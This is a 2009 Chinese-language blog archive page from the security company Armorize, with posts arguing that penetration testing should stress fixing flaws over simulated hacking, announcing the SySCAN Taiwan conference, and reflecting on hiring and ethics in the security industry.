剛好最近有一些事情發生，不然我其實都是掛著"外出取材"的狀態。
事情發生了，總是多多少少造成別人的困擾，而這些不滿都能理解。
技術圈子所提出的看法，總該有佐證說明，不需要受到可被操作的資訊影響，尤其是本質上差很多的東西，大家可不要變成口水專家。
在上一篇No Tech -- 1中，有長輩酸說"高道德公司"云云，我認為這不但沒有長輩風範，也沒有客觀的看待這個想法。
資安的技術部份，有很大一塊的灰色地帶，誘惑也沒少過，有很多的遊戲規則其實是靠自己摸索，產業的態度則決定了這些人在面臨就業時，是否被排擠到地下的可能。
事實上，我剛好就這次事件來觀察公司的態度；外界負面的聲音，說沒有漣漪是虛偽的，但同時也是個機會，讓公司成長為容錯的環境，而這樣的環境，我個人以為在資安工作尤為重要。
公司從過去聆聽資安工作者的聲音，到調整適合的工作方法，最近，更願意實質地投入資源，與內部溝通，以滿足技術人才知識需求。
這樣的一個工作環境在IT業都是難得的，更何況是一家能提供軟體又提供服務的資安公司。
聯絡方式：
Kuon （kuon在armorize點com）
繼續閱讀全文...
2009年5月17日
2009年5月9日
Plurk蠕蟲、Twitter蠕蟲、MySpace蠕蟲與911於管理面之啟示：滲透測試的新觀念，讓軟體重生吧！
(By Scott Hudson under Creative Commons "BY:")今天好幾件事讓我有感而發。最近由於一方面阿碼有幾位從事滲透測試多年的朋友加入，我們重新組織了ASF（Armorize Special Forces）團隊，一方面剛好看到了幾篇最近大家寫的滲透測試文章，讓我也想寫一下我們對於滲透測試的看法。
首先我們來看滲透測試的定義。滲透測試比較傳統的定義，簡而言之，就是由資安專家模擬駭客之攻擊，找出安全漏洞，評估風險等級與建議處理之優先順序。但是近幾年，滲透測試有了新的思維與新的思考模式。
以網站安全來說，在傳統的思考邏輯中，防守方式因為不熟悉駭客攻擊之手法，因而無法做好防守。然而這幾年經過OWASP、WASC，以及各國指導單位如台灣研考會，資策會技服中心，軟協等大家之努力，大部分防守方已經很清楚威脅之來源。然而威脅依然沒有解除，網站還是天天被駭，這問題到底出在哪裡？難道守方比攻擊者笨嗎？
[911事件]
在911攻擊事件中，美國被住在沙漠山洞中之賓拉登團體直接攻擊心臟，擊毀了全國最重要的兩棟大廈，裡頭盡是美國之菁英。難道美國各情報單位不了解賓拉登所計畫之攻擊手法？難道住在沙漠山洞中之賓拉登團隊，比起美國各菁英特種部隊，擁有更好的技術？更先進的科技？更龐大的資源？更優秀的人才？如果沒有，美國又早知道攻擊手法，為何無法有效阻擋攻擊，避免911事件之發生？
這個情況與現今資安狀況剛好相同。如果沒記錯，Cross site scripting （XSS，跨腳本攻擊漏洞）約於1996年正式被定義，SQL injection（SQL注入漏洞）則約於1998年被定義（rf-puppy? meer?）。這些都是很老的漏洞了，然而一直到今天，我們還一樣在處理相關漏洞。這幾天公司幾位同事討論讀書會之成立與規劃，fyodor直接說，裡頭一定要有跟Web漏洞一點關係都沒有的hacking，因為任何跟XSS/SQL有關的研究，都「無聊至極，讓人想死。」fyodor說：「拜託來些跟internet與Web都無關的好嗎？」
沒錯，不論是buffer overflow（緩衝區溢位）或是XSS/SQL或是ARP Poisoning/spoofing，對於已經為了工作而處理了十年的我們來說，有時真的是...很...無...聊...。上述這些都是超過十年的老攻擊，三年前的MySpace(Samy)蠕蟲與不久前的Twitter(Mikeyy)蠕蟲（這裡、這裡、這裡），不但本質上沒多大差異，也大都是年輕人在玩的，進入資安比較久的人，早就不玩了（可憐苦命的我），或像NMAP作者fyodor v.於去年美國Black Hat在台上公開的說XSS是「很娘的東西」，贏來台下一陣掌聲。
可是為何在2009的今天，仍然對於守方來說，仍是很大的威脅？
原因是這是一場不對等的戰爭，攻擊雖難，防守更難。911事件中，攻擊方贏是贏在攻擊之後。攻擊結束後，攻擊方可以去渡假三年，可是美國卻要在每一班國內班機，每一場公眾聚會，每一次中型以上活動中，都增加安檢措施，對於整個邊境做27*7*365的防守，這些措施所提升的社會成本非同小可。賓拉登的攻擊方式很容易了解，就像XSS/SQL/CSRF一樣，但是並不容易防守。美國邊境很長，敵在暗我在明，又需要考慮任何防守措施所帶來的社會成本，在不知敵人將於何時進攻何處之情況下，防守所需要思維的面象，不是懂得攻擊就夠的！
[Twitter蠕蟲]
又以這次Twitter蠕蟲為例，Twitter團隊經過四次修復，都宣稱已經將漏洞修改好，但是其實並沒有修改對。這次Twitter蠕蟲也在WASC的mailing list上掀起一些小戰爭。看來已經是全球最大牌的資安研究員之間，仍無法取得共識，對於XSS，怎樣算是最好的修改方式？
（上次guo-rung問得很好，我也一直沒空回答。事實上以PHP中的XSS弱點為例，大家常推薦的htmlentities()就不是對付XSS的最佳字串處理函式，因為htmlentities()只是做到html-safe而已，並沒有tag-safe或script-safe。譬如如果不安全的字串出現在tag中或<script>中，htmlentities的處理就無效了。）
在這個事件中，攻擊手法很簡單：XSS，漏洞發生在程式哪一行也已知，但是多次修補卻沒有修對。這是為何我深深覺得其實資安專家都需要同時具備技術與管理方面之經驗。在許多防守之措施中，投資報酬與資源利用皆為重要之考量，在滲透測試或任何資安投資中亦是如是。今天的滲透測試，早已非僅止於「偽駭客攻擊」之執行，主要原因有二：第一，攻擊或找出漏洞，並不代表資安的提升；第二，執行之資安團隊所花之時間，直接轉價變成客戶之成本，故資安專家之時間，不能只花在模擬駭客攻擊上。
[Plurk蠕蟲]
今天我身體不適蹲在家中，朋友請我幫忙改他的blog與Plurk的架接，看著朋友寫的程式突然覺得很奇怪，感覺Plurk架構上有漏洞。於是在約15分鐘內，我沒有利用任何滲透測試工具（Burp/Paros/OWASP Webscarab之類），連"view source"都省了，註冊了我的第一個Plurk帳號（armorize被誰拿走了？另外不用follow我，我的Twitter在弄完蠕蟲後也早荒廢了），然後直接對照朋友的程式就寫了一隻蠕蟲，沒有幾行，連javascript都不用，跑起來還真的work，趕快Google查一下有沒有Plurk的聯絡方式可以把蠕蟲給他們。結果發現Google排名第一的連結告訴我，原來早在四月出，Twitter蠕蟲爆發前幾天，Plurk就公開徵求大家幫忙找弱點，大家也幫忙找了不少。一共92篇的留言，大家真的很積極；另一方面，首席工程師amix的blog上，也有場小戰爭，與當時Twitter蠕蟲造成WASC成員看法不同一樣，大家對於如何修改，有著不同的意見。
我說這麼快寫一隻蠕蟲，並不是說我們很厲害；這些蠕蟲這幾年大同小異，沒多大變化，相信很多本blog讀者都能比我寫得更快，找得更多（當然，等對方修完後也會公開讓大家參考）。但是重點是，找到漏洞後呢？如何有效正確的修補？這次發現的Plurk漏洞為全面性的，amix表示將需要多一些時間做全面性的改版，跟我預期的一樣。這就是我想說的：攻擊難，但是防守更難。
[「駭」得更安全？]
去年OWASP美國年會於九月在紐約舉辦，在開場中，OWASP的主席，也是Aspect Security的創辦人與CEO Jeff Williams 說道（上面影片約7:25時）：
『One thing we can do, is we can get our priorities straight.』
『我們該怎麼做？我們需要把我們的優先順序弄對』
『Many organizations spend most of their app security budget on "hacking," doing pentesting and scanning.』
『很多單位把他們大部分的資安預算花在 "駭" "hacking"上，也就是做滲透測試跟掃瞄』
『Now, there's nothing wrong with those things, they're important, but we're not going to hack ourselves secure』
『這個沒什麼錯，這些工作是重要的，但是我們沒辦法把自己「駭」得更安全』
『We don't prioritize by what tools can find, but by what matters』
『我們不應該由工具能找什麼，來決定優先順序，我們應該依照什麼是重要的來排』
Jeff的公司Aspect Security沒有生產產品，是一家純顧問公司。既然是顧問公司，為何要質疑滲透測試？我認為他質疑的是舊的，僅限於『偽駭客攻擊』的滲透測試觀念。那怎麼算是一個好的滲透測試團隊？滲透測試跟黑箱與白箱的掃瞄工具，以及跟WAF（Web應用程式防火牆）比起來，又該如何選擇？
在討論這個問題時，我們可以把問題大致上分為：人工vs.工具、黑箱vs.白箱以及偽駭客攻擊vs.白帽協助防守等三方面來看。
2007年我們在台灣第一次舉辦2007 OWASP亞洲年會時，我費了好大一番勁，邀到了WhiteHat Security的創辦人兼CTO Jeremiah Grossman，他是XSS一書的作者，並希望他講一些新的滲透測試觀念。於是他於台北首次演講『商業邏輯錯誤』，他去年在美國Black Hat 2008年會上，其實講的東西很類似，台灣大家賺到了。因為那時我在推展我們的源碼檢測工具的過程中，就發現大家對於人工vs.工具之比較，比較模糊。簡單的來說，Jeremiah當年所示範的『商業邏輯錯誤』，就是工具所無法找到的漏洞型態。去年OWASP亞洲年會，我邀到了從印度來的KK，也是講一樣的東西。但是重點不是工具與人何者能找哪些漏洞，何者找的比較好。我們公司同時研發自動源碼檢測工具，同時有滲透測試團隊，很多人當時有問，不衝突嗎？當然一點也不衝突。
[人工vs.工具]
人工vs.工具的比較，重點在於，人每做一天，就要算一天的工資，而工具是可以無限制的重複一直使用。所以說，工具雖然不能找到所有形式的漏洞，但是工具找漏洞有四大好處：
A. 可以無限制重複使用，找到漏洞的成本相對低。
B. 工具可以與開發流程、軟體生命週期、以及公司內部程序結合，因此很多公司要通過各種認證，需要在程序中結合工具。我沒說通過認證就一定做好了資安，但是大國如美國，認證是一定得過的。
C. 因為可以重複使用，故可以每天或甚至每小時使用，提早找出漏洞，降低修補成本並縮短資安空窗期。
D. 工具對於其所擅長找的弱點種類，可以很穩定並且無失誤的掃瞄大規模的系統，人則可能有失誤，例外時間有限，因此在涵蓋率上，工具有優勢（我們常協助客戶掃上百萬行的程式，如過用人工，要如何用眼睛看？）
但是人工具有以下優點，是工具所永遠沒有辦法取代的：
A. 不只是邏輯性的錯誤，還有一堆無線、架構、設定、與新型的各種漏洞，只有靠人工能找。工具只能掃瞄很成熟（很無聊）的漏洞，例如OWASP Top 10中的XSS與SQL injection等。
B. 攻擊是一種藝術，人才有這種嗅覺，有時看一個人有幾年的經驗，看猜密碼的能力就知道了。這種敏銳度，很難解釋，人腦是很複雜的，其威力遠勝過任何工具。
C. 有能力的滲透測試團隊，可以協助修改程式。我說過，找漏洞雖難，正確的修改更難。
在滲透測試執行的過程中，專家們往往都會拿出自己經年累月累積的一套工具組，透過工具之上述優點，配合人工的判定與智慧，以期提供最優質之服務給客戶。但是如果您是買方，結果拿到的報告中，大部分都是自動工具可以掃瞄出的漏洞，那麼你可能沒有讓您聘僱的滲透測試團隊，做最有效率，投資報酬率最高的發揮。因為在工具就能找到的部分，其實可以由您自己掃瞄，提早找到漏洞並降低修補成本。要記得國內滲透測試通常是一年做一次，滲透測試中才找到的漏洞，很可能已經存在多時了--如果提早自己使用工具，則可以縮短資安空窗期。我們這些資安顧問的時間，希望是花在幫您找尋工具所無法找到的如邏輯性錯誤等漏洞，或花在協助您正確的修補漏洞上面。
[黑箱vs.白箱]
Wikipedia上的定義，將滲透測試（penetration testing）分成黑箱（blackbox）與白箱（whitebox）兩種。簡單的說，黑箱就是很像駭客一樣，在沒有比外在駭客更多資訊的條件下，由滲透測試團隊執行『駭客任務』。這種滲透測試是大家都很喜歡做的，因為做滲透測試就像是解一個謎題一樣，除了技術外，靈感，嗅覺，經驗也都是重點--駭客技術永遠是一套藝術。但是就像我之前介紹DEFCON 2008上Chema的Blind SQL injection手法一樣，我們假設執行的過程中有以下步驟：
A. 手動找出Blind SQL injection漏洞
B. 使用Chema的工具，利用blind SQL injection暴力找出table名稱或欄位名稱
C. 進一步從table中成功取得管理帳號與密碼之hash
D. 利用高階機器跑暴力程式，成功將hash反解出密碼
E. 示範利用正確之帳號與密碼登入，整個偽駭客攻擊至此結束
這些步驟，執行時甚為精彩，不但資安專家樂於其中，客戶也常常看得拍掌叫好。可是問題有兩個（尤其在不景氣的經濟下）：
A. 找到漏洞代表提升資安品質了嗎？Blind SQL injection在哪個程式的哪一行？如何正確修復？
B. 如果有效利用專家時間，否於步驟(A)後，就應該直接協助修復？因為後續B-E所需的時間，可能遠超過修復所需的時間。
這就是Jeff說的：『但是我們沒辦法把自己「駭」得更安全』之精髓！
在白箱測試中，不論是工具或是人工，資安專家或工具由於擁有比一般真的駭客豐富許多的資訊，例如系統架構文件或程式碼等，給了資安專家或自動工具莫大的優勢，能更有效率地找出漏洞，並協助修補之。這就回應了我前面說的，在911事件中，防守遠難於攻擊，因為防守需思考成本等多種面象。
在這方面，白箱更能有效率、低成本地提升資安水平。擁有十年以上滲透測試經驗的fyodor曾說，黑箱滲透測試，其實是很沒有效率的，通常發生於雙方第一次合作，互信基礎不足，或買方有特殊原因或規範，無法提供白箱資料時。合作久，擁有充分互信的雙方，一定會開始做白箱的滲透測試，或叫『secuity review』也許比較恰當。在工具方面，根據最新的一份Gartner報告指出，2008年，白箱工具的市場已經後來居上，超過黑箱了。整個201M美金的黑白工具市場中，有126.9M是白箱，約佔63%。白箱工具去年市場成長了35%，相較去年只成長了6.5%的服務市場（包含滲透測試，code review等等）來說，相對高出很多。整個2008資安服務市場則為197M美金，略低於工具市場的201M。
[偽駭客攻擊vs.白帽協助防守]
我在這整篇中要說的重點，就是『但是我們沒辦法把自己「駭」得更安全』，一份很完整並具有風險排列的滲透測試報告，還沒有降低資安風險。Why？因為上面的漏洞只要沒有正確修補，這份報告就沒有實際提升您的資安水平。三年前19歲的Samy，上個月17歲的Mikeyy，都可以很快地寫出蠕蟲；可憐的資安專家由於每天工作就是這個，可能更快些，但是雖然不懂攻擊技術，一定不能做好防禦，但是從Plurk/Twitter/MySpace蠕蟲到911，我們看到的是，威脅已經清楚，攻擊已經老到無聊的地步，但是有效的防禦仍是那麼的困難！而我卻很驚訝的發現，一份最近刊登的『滲透測試』文章，隻字沒探討到防守面或修改面的觀念，程序，動作或經驗！成功找出弱點，只是提升資安水平的第一步，不是最後一步。好的資安團隊，必須研究修改漏洞時的各面象。譬如我們發現某json介面全部都有CSRF漏洞，但是該json介面已經發佈並廣被使用，修改CSRF需要更動介面規格，這會使所有依賴此介面之其他系統失效。這時該如何做？如果實在不能修改軟體，那麼其實WAF處理CSRF非常直覺，自動加上one-time token就好了，那麼我們是否改用免費（modsecurity）或商用WAF？我們以後在開發流程中，要建立哪些機制或程序，來避免類似漏洞之產生？在不影響現有系統之營運與效率下，正確並快速地協助漏洞的修改，並建立相關制度避免未來漏洞之產生，再再考驗著資安顧問團隊之能力與經驗。軟體是人類偉大的發明，改變了全人類的生活，帶來了科技的革命。但是為何軟體有這麼多的不安全性？為何找到漏洞了卻這麼難修？難道是這整個模式從一開始就不對嗎？目前的軟體模型出了錯？如果要建立secure-SDL來避免漏洞之產生，那麼在agile、scrum、extreme、adaptive...各種不同開發methodology之下做secure-SDL，有何不同？成熟度模型如何建立？
希望除了在『駭』方面的探討外，能多些在『修復』或進一步『避免軟體漏洞』之研究，讓軟體重生，不要永遠都當壞事的罪魁禍首。
作者 Wayne 為阿碼科技CEO
後記
最後我要抱怨一下。當然大家都不想弄這些XSS/CSRF/SQL-i，但是這是我們的工作沒辦法，這些漏洞是現在客戶最苦惱的。可是怎麼苦工都我在做勒？SS7交換機、iphone、android、rfid、LLVM/ASA，大家玩得不亦樂乎，讓我在旁邊流口水... 可是改天要你們來寫blog，換我週末來玩這些！
繼續閱讀全文...
2009年5月8日
關於2009 SySCAN前瞻資安技術年會之舉辦
SySCAN又要開辦了，回想去年SySCAN，辦得真的很過癮，原本預計只有80個人，結果來了這麼多人，事後也收到大家的email，真的非常謝謝各位的支持！SySCAN是很高品質的駭客年會，所以去年Thomas（COSEINC）表達希望把SySCAN引進台灣時，我一口答應支持他。去年辦得只有一個「爽」字可以形容，大會虧了四十多萬，阿碼跟COSEINC對半拆，雖然虧錢，但是本來雙方就有共識要做些回饋社群的事情，也有編列預算，這些對公司都是小錢，大家的支持才是最難得的，所以回想去年，內容好，聽眾好，真的是很過癮！（照片與內容可參考這裡：http://syscantaiwan.blogspot.com）
今年Thomas說COSEINC可以自負盈虧，阿碼則仍然同為主辦單位，協助挑選講師，定義會議方向與執行活動，虧損獲盈餘的部分則全部由COSEINC負責。今年也改由COSEINC直接處理報名收費與開立發票部分。我們當然很感謝COSEINC這樣的決定，但是也擔心COSEINC的負擔會太大。今年公佈的門票為每人3000NTD，雖然不是我決定的，也比去年貴，但是我覺得還是很合理的。今年新加坡部分（比台北早一個星期，然後講師飛來台灣）今年一票13,478台幣，Black Hat則是46,062台幣，都很貴，出國又要加上時間，機票，住宿等。我們看SySCAN，是幾乎與Black Hat同等級的資安會議，台北還比新加坡多了一天的「害翻天Hack Day。」我們覺得COSEINC已經很用心壓低票價，希望各位今年能繼續支持！其實我們辦這些會議主要的目的，還是回饋社群。SySCAN去年虧40萬，OWASP去年虧了約50萬，台灣的資安會議要賺錢？那真的很厲害！台灣不比美國，資安社群很小，要願意投資這麼多時間與人力，辦出優質的駭客年會，這要對資安很有熱情的團隊才會願意投入。如果是要賺錢的話，以阿碼來說，產品已經在全球大賣，一場會議能賺多少錢？一個人3000NTD，300人也才90萬，即使不需要場地成本，食物成本，講師機票，住宿，用餐，招待等成本...90萬以阿碼來說，賣一套CodeSecure就不只了，不用大家花幾個月的時間與心血來辦一場會議 :) 但是同時，其實這些經費對阿碼與COSEINC來說都是小錢，能把會議辦好，以及大家的支持，才是最重要的。我們覺得大家真的幫助了我們太多，能回饋各位的地方，我們會盡力來做。
我個人的部分，由於我現在擔任OWASP總部的全球會議委員，負責協助舉辦OWASP一年三次的大會：美國、歐洲與亞洲，再加上阿碼的工作，本身已經真的太多事情了。SySCAN是非常高品質的駭客會議，能來台北舉辦並自負盈虧也處理許多如報名收費等事務，我當然很高興，讓我也有更多的時間與資源同時把今年OWASP辦好。加上今年講師群真的是有夠強，又決定加一天的Hack Day，讓社群多些時間交流，每天想到就熱血沸騰，也很謝謝COSEINC的努力！
大會議程與講師介紹的中文部分，這幾天是我把工作拖到了，希望今天就能公佈，請各位拭目以待。
另外SySCAN「害翻天Hack Day」徵求講師，CFP請見：
http://armorize-cht.blogspot.com/2009/04/syscan-hack-day.html
http://armorize-cht.blogspot.com/2009/05/no-tech-1.html
大會官方blog: http://www.syscan.org
大會官網：http://www.syscan.org
去年照片：
繼續閱讀全文...
今年Thomas說COSEINC可以自負盈虧，阿碼則仍然同為主辦單位，協助挑選講師，定義會議方向與執行活動，虧損獲盈餘的部分則全部由COSEINC負責。今年也改由COSEINC直接處理報名收費與開立發票部分。我們當然很感謝COSEINC這樣的決定，但是也擔心COSEINC的負擔會太大。今年公佈的門票為每人3000NTD，雖然不是我決定的，也比去年貴，但是我覺得還是很合理的。今年新加坡部分（比台北早一個星期，然後講師飛來台灣）今年一票13,478台幣，Black Hat則是46,062台幣，都很貴，出國又要加上時間，機票，住宿等。我們看SySCAN，是幾乎與Black Hat同等級的資安會議，台北還比新加坡多了一天的「害翻天Hack Day。」我們覺得COSEINC已經很用心壓低票價，希望各位今年能繼續支持！其實我們辦這些會議主要的目的，還是回饋社群。SySCAN去年虧40萬，OWASP去年虧了約50萬，台灣的資安會議要賺錢？那真的很厲害！台灣不比美國，資安社群很小，要願意投資這麼多時間與人力，辦出優質的駭客年會，這要對資安很有熱情的團隊才會願意投入。如果是要賺錢的話，以阿碼來說，產品已經在全球大賣，一場會議能賺多少錢？一個人3000NTD，300人也才90萬，即使不需要場地成本，食物成本，講師機票，住宿，用餐，招待等成本...90萬以阿碼來說，賣一套CodeSecure就不只了，不用大家花幾個月的時間與心血來辦一場會議 :) 但是同時，其實這些經費對阿碼與COSEINC來說都是小錢，能把會議辦好，以及大家的支持，才是最重要的。我們覺得大家真的幫助了我們太多，能回饋各位的地方，我們會盡力來做。
我個人的部分，由於我現在擔任OWASP總部的全球會議委員，負責協助舉辦OWASP一年三次的大會：美國、歐洲與亞洲，再加上阿碼的工作，本身已經真的太多事情了。SySCAN是非常高品質的駭客會議，能來台北舉辦並自負盈虧也處理許多如報名收費等事務，我當然很高興，讓我也有更多的時間與資源同時把今年OWASP辦好。加上今年講師群真的是有夠強，又決定加一天的Hack Day，讓社群多些時間交流，每天想到就熱血沸騰，也很謝謝COSEINC的努力！
大會議程與講師介紹的中文部分，這幾天是我把工作拖到了，希望今天就能公佈，請各位拭目以待。
另外SySCAN「害翻天Hack Day」徵求講師，CFP請見：
http://armorize-cht.blogspot.com/2009/04/syscan-hack-day.html
http://armorize-cht.blogspot.com/2009/05/no-tech-1.html
大會官方blog: http://www.syscan.org
大會官網：http://www.syscan.org
去年照片：
繼續閱讀全文...
2009年5月3日
No Tech -- 1
打從公司的非官方部落格設立開始，我就知道我不會發表有關技術性的文章，我想探討更多隱性的議題，所以很抱歉，本篇 “無料”。
適逢今年的 SySCAN Taiwan 籌備中，去年辦得很成功，今年則嘗試舉辦了一個 Hacker Day 的活動，事實上辦這樣的活動並不容易，需要很多因素才會出色。
在討論一個資安會議的出色因素前，我想先討論會議本質，很多投稿者沒有釐清會議本質就來投稿，就算是躺著都會被打槍 :) 試問：
1. 投稿者是否過去參加相關的會議， 了解會議所需素材的方向？
2. 投稿者是否閱讀或閱聽過去相關會議的簡報檔或多媒體檔， 了解內容的技術水準？
如果你把能投 ACM 的論文投去 USENIX， 把能投 DEFCON 的論文投去 IEEE，試想被 accept or reject 的機率孰者為高？ 政治正確很重要。
以下是幾個我個人認為的會議因素：
[內容]
1. 當我們把研究分為威脅研究和技術研究的時候，有的會議都收，有的會議偏重純技術。
2. 投稿者是否已 study 相關領域的發表？ 有創新的思路或利用方法很重要，或是別人僅僅在討論階段的方法，而你實作工具出來。如果是資料的蒐集整理，新意卻不足，就可惜了。
[技巧]
1. 對我個人來說，演講技巧是最不重要的，正因為身為工科背景，所以可以同理理解，並不是每個技術領域的人都擅長演說，技巧不足，其實掩蓋不了技術本身的璀璨。
2. 當然，好的技巧確實加分；不過，這也和演講者對於聽眾技術背景的定位有關，有時候一個高手的喝采，抵過滿場的掌聲； touch 不到點的發問，才有知音人難覓的感概。
[人才]
丁丁真的是個人才（誤）。
SySCAN 本身募集了相當多的歪果知名講師，其用意是舉辦高質量的技術活動。
SySCAN Taiwan Hacker Day 的用意卻是希望吸引 Taiwan 夠技術水準的職業人士，業餘人士來共襄此一盛事。
以一般資安會議來說，主要的內容提供者還是以業界和學術界為多。
而台灣業界真的有專職設立研究人員或是有研究氛圍的少，畢竟主要還是以產品開發或是技術服務為工作內容,自然產生paper的質與量就有限。
而學術界專注於這麼應用面的研究單位，好像也就這麼幾個，要滿足 Hacker Day 的需求，也是需要讀者們協助本活動的宣傳。
我故意把 '人' 這個因素擺在最後，也用了 SySCAN Hacker Day 做為一個引子，自己作為資安產業一員，我想內視自己心中的吱喳聲 :)
[道德標準]
安全管理作為安全產業的一環，似乎更要求道德標準，而安全技術人員的道德標準水位，似乎一直難以定義。
舉一個某社的口號，"我們公司不錄用會寫病毒的人"，當我們更細分：
"我們公司不錄用研究病毒技巧的人"
"我們公司不錄用寫病毒惡作劇的人"
"我們公司不錄用寫病毒賺錢的人"
以上三者，事實上，放在不同組織，其選擇會有不同的集合，適才，適所。
[熱情]
在這個IT產業的一隅，熱情非常重要，資訊和技術變動的非常快，投入於其中是耗時的，時間總是不夠。
我看到了我的幾位同事，很是佩服，身為孩子的爸，有的還不只一個，還可以半夜一兩點討論資安產業的訊息，我想這是真的有熱情的人才做得到的。
熱情也決定你同一類型工作的支撐力道，當你工作中的心情總是愉悅著，偶有壓力卻也算不了苦。
當然，熱情也會 burn out，失去熱情的工作，對某些人來說，連一杯咖啡的時間都不願意等待。
[思考模式]
如果我們將思考模式分為正向思考，逆向思考，跳躍式思考，資安技術從業人員似乎需要更多的非正向思考方式，並要能與正向思考連結之。
很多時候，必須推理分析一個網站結構，網路拓樸，維護者習慣，軟體的設計，邏輯瑕疵…等等。
從業人員也需要一個符合其特質的工作環境，才能適當地與其溝通之。﹙別忘記，媒體總愛型塑這樣的人格特質 :D）
[敏感]
這裡的敏感，指的是在一個大家看起來是無害的事物，能夠察覺是一個 risk，甚至是 vulnerability。
或是從不完整的資訊，能夠歸納出接近事實的結果.
比較實際的感覺，也許玩過 Wargame 的人就能理解，有的時候就是一個 sense，或者該說聯想的程度 :p
[趣味]
趣味對某些人來說就是成就感，哪怕是博君一笑，甚至是 Do Evil.
當然你得先了熟悉你自己，有的人是寫程式寫得好會有成就感，有的人是處在安全產業的攻與防，自有無窮樂趣。
還記得高中的時候寫程式，也是寫遠端遙控程式，寫來自己玩很得意； 也誤擊過小綿羊.exe，變成 SubSeven 的被控端 :(
直到我進入了這個圈子，才確認自己的歸屬，寫程式﹙作/避免）邪惡的事情才有趣，對我而言，並非寫程式本身就有趣； 寫自己想寫的，摸索研究技術上的東西才有趣。
認識的一些朋友似乎也是這樣懵懵懂懂， 招搖撞騙才認識自己更深；年輕的讀者，你找到歸屬了嗎？
[產業]
還記得這個口號嗎？ "不錄用會寫病毒的人"，換個角度，這些技術人才的就業情況如何了？
"不符高道德標準" -> "往較低道德標準的工作機會發展"
"對資安工作熱情不夠" -> "往非資安工作發展"
還有甚麼可能呢？ "不懂資安這個產業"!!
一開始的初衷就是好玩，沒有想到可以以這個混口飯吃，更沒有想過這樣的產業也是有前景的. ﹙無心插柳柳橙汁）
後來才領悟，當你學了一堆密碼學，網路安全課程的時候，人肉市場的供需資訊並不對稱，中間有個 gap 需要被填滿。
將近10年前，我認識 Birdman 的時候，也一起認識了 PK，那時候有好幾位都在研究系統軟體，電腦病毒，軟體破解保護，直到我當兵前當兵後，發現怎麼越來越少同好了，Birdman 跟我說，都去寫軟體了，資安會餓死。
P.S Birdman 現在還是瘦瘦的，還健在 XDD
還有甚麼可能呢？ "資安產業規模及其限制"!!
你所會的技術基礎，台灣沒有符合的產業。
過去，你專精 compiler，你可能就會去寫 toolchain；現在，如各位所知道的，我們就有一項產品是用這樣的技術做出來的。
過去，你可能找來找去，不是 SI 就是代理商，因為台灣市場太小，自己做產品很容易餓死 :)
過去，你可能找來找去，不是 anti-spam，就是做 content filter，因為那樣的產品技術門檻相對的低，而且會被視為IT基礎建設，還可以有外銷的市場。
我相信還有很多業餘的資安技術份子存在著，或者是體內帶有資安因子﹙ex： 你明明是個金鋼狼，可是你還在和正常人一起生活著），更甚至你過去求職不順，收到太多"你已經加入人才資料庫，需要的時候會聯絡你"的 HR好人卡。
Armorize有高科技的潛力X光機，可以協助你一展長才。
*記得* ： 踴躍投稿 Hacker Day 很重要，一個了解資安人才需求的工作環境也很重要。
想了解 Armorize 有哪些人力需求 歡迎聯絡 Wayne（wayne在armorize點com）
想在投稿前，找人討論技術問題 歡迎聯絡 Kuon （kuon在armorize點com）
繼續閱讀全文...
適逢今年的 SySCAN Taiwan 籌備中，去年辦得很成功，今年則嘗試舉辦了一個 Hacker Day 的活動，事實上辦這樣的活動並不容易，需要很多因素才會出色。
在討論一個資安會議的出色因素前，我想先討論會議本質，很多投稿者沒有釐清會議本質就來投稿，就算是躺著都會被打槍 :) 試問：
1. 投稿者是否過去參加相關的會議， 了解會議所需素材的方向？
2. 投稿者是否閱讀或閱聽過去相關會議的簡報檔或多媒體檔， 了解內容的技術水準？
如果你把能投 ACM 的論文投去 USENIX， 把能投 DEFCON 的論文投去 IEEE，試想被 accept or reject 的機率孰者為高？ 政治正確很重要。
以下是幾個我個人認為的會議因素：
[內容]
1. 當我們把研究分為威脅研究和技術研究的時候，有的會議都收，有的會議偏重純技術。
2. 投稿者是否已 study 相關領域的發表？ 有創新的思路或利用方法很重要，或是別人僅僅在討論階段的方法，而你實作工具出來。如果是資料的蒐集整理，新意卻不足，就可惜了。
[技巧]
1. 對我個人來說，演講技巧是最不重要的，正因為身為工科背景，所以可以同理理解，並不是每個技術領域的人都擅長演說，技巧不足，其實掩蓋不了技術本身的璀璨。
2. 當然，好的技巧確實加分；不過，這也和演講者對於聽眾技術背景的定位有關，有時候一個高手的喝采，抵過滿場的掌聲； touch 不到點的發問，才有知音人難覓的感概。
[人才]
丁丁真的是個人才（誤）。
SySCAN 本身募集了相當多的歪果知名講師，其用意是舉辦高質量的技術活動。
SySCAN Taiwan Hacker Day 的用意卻是希望吸引 Taiwan 夠技術水準的職業人士，業餘人士來共襄此一盛事。
以一般資安會議來說，主要的內容提供者還是以業界和學術界為多。
而台灣業界真的有專職設立研究人員或是有研究氛圍的少，畢竟主要還是以產品開發或是技術服務為工作內容,自然產生paper的質與量就有限。
而學術界專注於這麼應用面的研究單位，好像也就這麼幾個，要滿足 Hacker Day 的需求，也是需要讀者們協助本活動的宣傳。
我故意把 '人' 這個因素擺在最後，也用了 SySCAN Hacker Day 做為一個引子，自己作為資安產業一員，我想內視自己心中的吱喳聲 :)
[道德標準]
安全管理作為安全產業的一環，似乎更要求道德標準，而安全技術人員的道德標準水位，似乎一直難以定義。
舉一個某社的口號，"我們公司不錄用會寫病毒的人"，當我們更細分：
"我們公司不錄用研究病毒技巧的人"
"我們公司不錄用寫病毒惡作劇的人"
"我們公司不錄用寫病毒賺錢的人"
以上三者，事實上，放在不同組織，其選擇會有不同的集合，適才，適所。
[熱情]
在這個IT產業的一隅，熱情非常重要，資訊和技術變動的非常快，投入於其中是耗時的，時間總是不夠。
我看到了我的幾位同事，很是佩服，身為孩子的爸，有的還不只一個，還可以半夜一兩點討論資安產業的訊息，我想這是真的有熱情的人才做得到的。
熱情也決定你同一類型工作的支撐力道，當你工作中的心情總是愉悅著，偶有壓力卻也算不了苦。
當然，熱情也會 burn out，失去熱情的工作，對某些人來說，連一杯咖啡的時間都不願意等待。
[思考模式]
如果我們將思考模式分為正向思考，逆向思考，跳躍式思考，資安技術從業人員似乎需要更多的非正向思考方式，並要能與正向思考連結之。
很多時候，必須推理分析一個網站結構，網路拓樸，維護者習慣，軟體的設計，邏輯瑕疵…等等。
從業人員也需要一個符合其特質的工作環境，才能適當地與其溝通之。﹙別忘記，媒體總愛型塑這樣的人格特質 :D）
[敏感]
這裡的敏感，指的是在一個大家看起來是無害的事物，能夠察覺是一個 risk，甚至是 vulnerability。
或是從不完整的資訊，能夠歸納出接近事實的結果.
比較實際的感覺，也許玩過 Wargame 的人就能理解，有的時候就是一個 sense，或者該說聯想的程度 :p
